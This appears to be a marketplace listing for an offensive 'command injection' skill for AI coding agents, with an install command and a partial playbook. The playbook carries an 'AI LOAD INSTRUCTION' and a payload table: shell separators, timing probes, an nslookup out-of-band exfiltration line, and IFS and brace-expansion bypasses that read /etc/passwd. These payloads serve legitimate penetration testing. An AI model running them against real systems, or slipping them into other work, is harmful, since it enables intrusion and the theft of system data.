yaklang avatar

Cmdi Command Injection

Loads comprehensive command injection attack patterns for when user input touches shell execution, whether it's ping utilities, file converters, or import pipelines. The playbook covers all major shell metacharacters, blind detection via timing and DNS exfiltration, filter bypasses using IFS and brace expansion, and vulnerable code patterns across PHP, Python, Node, and legacy ASP. You get context-specific payloads for quoted strings, command substitution, and OOB channels, plus a solid library of reverse shells for Linux and Windows. The real value is in the blind injection decision trees and the catalog of non-obvious entry points like email senders and archive processors where base models typically miss the execution chain.

skills.sh installs
3.9K
GitHub stars
2.6K
last updated
Aug 21, 2026

Install

$ npx -y skills add yaklang/hack-skills --skill cmdi-command-injection --agent claude-code

Installs into .claude/skills of the current project.

Files

SKILL: OS Command Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert command injection techniques. Covers all shell metacharacters, blind injection, time-based detection, OOB exfiltration, polyglot payloads, and real-world code patterns. Base models miss subtle injection through unexpected input vectors.

0. RELATED ROUTING

Before going deep, you can first load:

First-pass payload families

ContextStart WithBackup
generic shell separator;id&&id
quoted argument";id;"';id;'
blind timing;sleep 5& timeout /T 5 /NOBREAK
command substitution$(id)`id`
out-of-band DNS;nslookup token.collabWindows nslookup variant
cat$IFS/etc/passwd
{cat,/etc/passwd}
%0aid

1. SHELL METACHARACTERS (INJECTION OPERATORS)

These characters break out of the command context and inject new commands:

Sponsors

Details

Repository
github.com/yaklang/hack-skills
Category
CLI & Terminal
First seen
May 16, 2026

More from yaklang/hack-skills

All 102
1zc277584121 avatarmd-to-feishuzc277584121/marketing-skillsConvert local Markdown files to Feishu (Lark) documents with automatic image uploading. Uses the feishu-docx CLI tool.3.8Kskills.sh installs
2microsoft avatarplaywright-devmicrosoft/playwrightExplains how to develop Playwright - add APIs, MCP tools, CLI commands, and vendor dependencies.3.8Kskills.sh installs
3forcedotcom avatardeveloping-agentforceforcedotcom/sf-skillsBuild, modify, debug, and deploy agents with Agentforce Agent Script. TRIGGER when: user creates, modifies, or asks about .agent files or aiAuthoringBundle meta3.8Kskills.sh installs
4yaklang avatarlinux-privilege-escalationyaklang/hack-skillsLinux privilege escalation playbook. Use when you have low-privilege shell access and need to escalate to root via SUID/SGID binaries, capabilities, cron abuse,3.8Kskills.sh installs
5agents365-ai avatartldraw-skillagents365-ai/365-skillsUse when user requests diagrams, flowcharts, architecture charts, or visualizations. Also use proactively when explaining systems with 3+ components, complex da3.8Kskills.sh installs
6tradermonty avatarcanslim-screenertradermonty/claude-trading-skillsScreen US stocks using William O'Neil's CANSLIM growth stock methodology. Use when user requests CANSLIM stock screening, growth stock analysis, momentum stock 3.8Kskills.sh installs